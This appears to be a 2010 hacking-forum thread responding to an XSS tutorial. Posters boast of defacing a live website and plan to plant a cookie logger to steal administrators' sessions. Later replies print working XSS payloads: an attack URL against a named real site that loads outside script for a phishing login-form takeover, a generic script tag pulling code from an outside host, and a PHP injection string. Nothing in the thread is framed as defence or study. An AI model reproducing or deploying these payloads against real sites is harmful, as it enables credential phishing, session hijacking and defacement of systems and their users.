Ty for the tut man 🤝
Hacking with XSS (Cross site scripting) |
|
YAY! A good XSS guide, but can I suggest you put "Cross Site Scripting" In you're title (I know I can, but it's rude =p) The search limit is 4 characters, so you can't search for XSS.
Also, if you do some looking, there is a vulnerable LAPD website (A lot of government sites are vulnerable to XSS) I e-mailed their web master weeks ago, explaining the problem, and how to fix it, I've had no response, and nothing has been done XD (Mar 9, 2010 01:43 PM)VipVince Wrote: I had a deface page up for 30+ seconds. It was just used as an indication to me that it was possible, however i dont want a deface page up as that will inform the admin that his site is vulnerable. My goal is to get a cookie logger set up on the site as a re-direct, I mean i could leave a deface page up, post on hf's in the bragging session and think im ub3r, however its much more beneficial and interesting for me to have a cookie logger set up on the site and then il explore the cookies and sessions collected, be a ninja not a noob.But that means, that, if I were to visit the website during those 30 seconds, I'd be able to see your deface, right ? (Mar 9, 2010 01:43 PM)VipVince Wrote: I had a deface page up for 30+ seconds. It was just used as an indication to me that it was possible, however i dont want a deface page up as that will inform the admin that his site is vulnerable. My goal is to get a cookie logger set up on the site as a re-direct, I mean i could leave a deface page up, post on hf's in the bragging session and think im ub3r, however its much more beneficial and interesting for me to have a cookie logger set up on the site and then il explore the cookies and sessions collected, be a ninja not a noob.But that means, that if I were to visit the website during those 30 seconds, I'd be able to see your deface, right ? (Mar 9, 2010 01:50 PM)VipVince Wrote: Yes, but incase you didnt read what I said in my tut, I am not releasing the URL of the site publicly as I am not finished with the site, have further intentions with the site, and am not having a skiddie hi jack with his own deface page while I still have further plans for it.Not trying to find out the URL. I'm just surprised at how easy it is to deface a website using XSS. Haven't heard of it before and it sounded too simple.
Huh, Sorry if this is a retarded question, But with XXS don't you have to get the admin to go on the link and hijack his session to deface?
(Mar 9, 2010 01:50 PM)shuks Wrote: I have a question. Im not an xss expert but if you insert the following code into the search field...Yeah this is exactly what im thinking :| Textbox Injection isn't permenant. The idea of it is to add a Hex code to the url which auto fills searchbox with redirect code. then get the admin to visit your link then it loggs his session cookie. (Mar 9, 2010 02:02 PM)shuks Wrote: Can the author of this thread please clarify...Same thing I was thinking. Now I'm pretty puzzled. (Mar 9, 2010 02:02 PM)shuks Wrote: Can the author of this thread please clarify...your 100% right unless vince is talking about somthing none of us understand. (Mar 9, 2010 01:50 PM)shuks Wrote: I have a question. Im not an xss expert but if you insert the following code into the search field... There's only one typical way I can think of- that's when XSS'ing form fields that will be checked by admins in admin areas. We input the malicious script in our side but it's carried out only when they view their side of the situation- completing the transaction... I have tried and tried and tried to "permanently" inject through like search fields but it just doesn't work like that- if it did, then you'd be able to inject not only html but php as well (like whole shells)... or php commands: Code ";//\";//--></SCRIPT>">'><?php $homedir=getcwd(); echo "<b><p align='left'>Home:</b> <u>$homedir</u></p>" ?>The whole internet would get owned if it were really that easy... Better methods with XSS would be to skip the cookie hijacking as it only works on versions of firefox 2.0 and under, and it can be a real pain in the ass to set it all up correctly... Few other methods though, some of my favs that is- using JS & AJAX to post and get actions... now that's some fun. Or another example, full in browser page takeovers, great for fishing some passwords... like this here divxstage.net example: Code http://divxstage.net/search.php?s=';//\';//";//\";//--></SCRIPT>">'><SCRIPT SRC=http://googles-on-us.com/shyf3/xss.js></SCRIPT>--&search.x=25&search.y=17&q=5It has my login form, which could be made to look official- record all info, redirect to an official page afterwards.... but notice how the URL address remains at divxstage.net and not redirecting you to another site? XSS can be nice... Now that were talking Persistent and Non-persistent, I get fully what ya mean.. If it's persistent- just set up a script like in my example for divxstage.net and include the: Code <SCRIPT SRC=http://yourhost.com/script.js></SCRIPT> |
|
|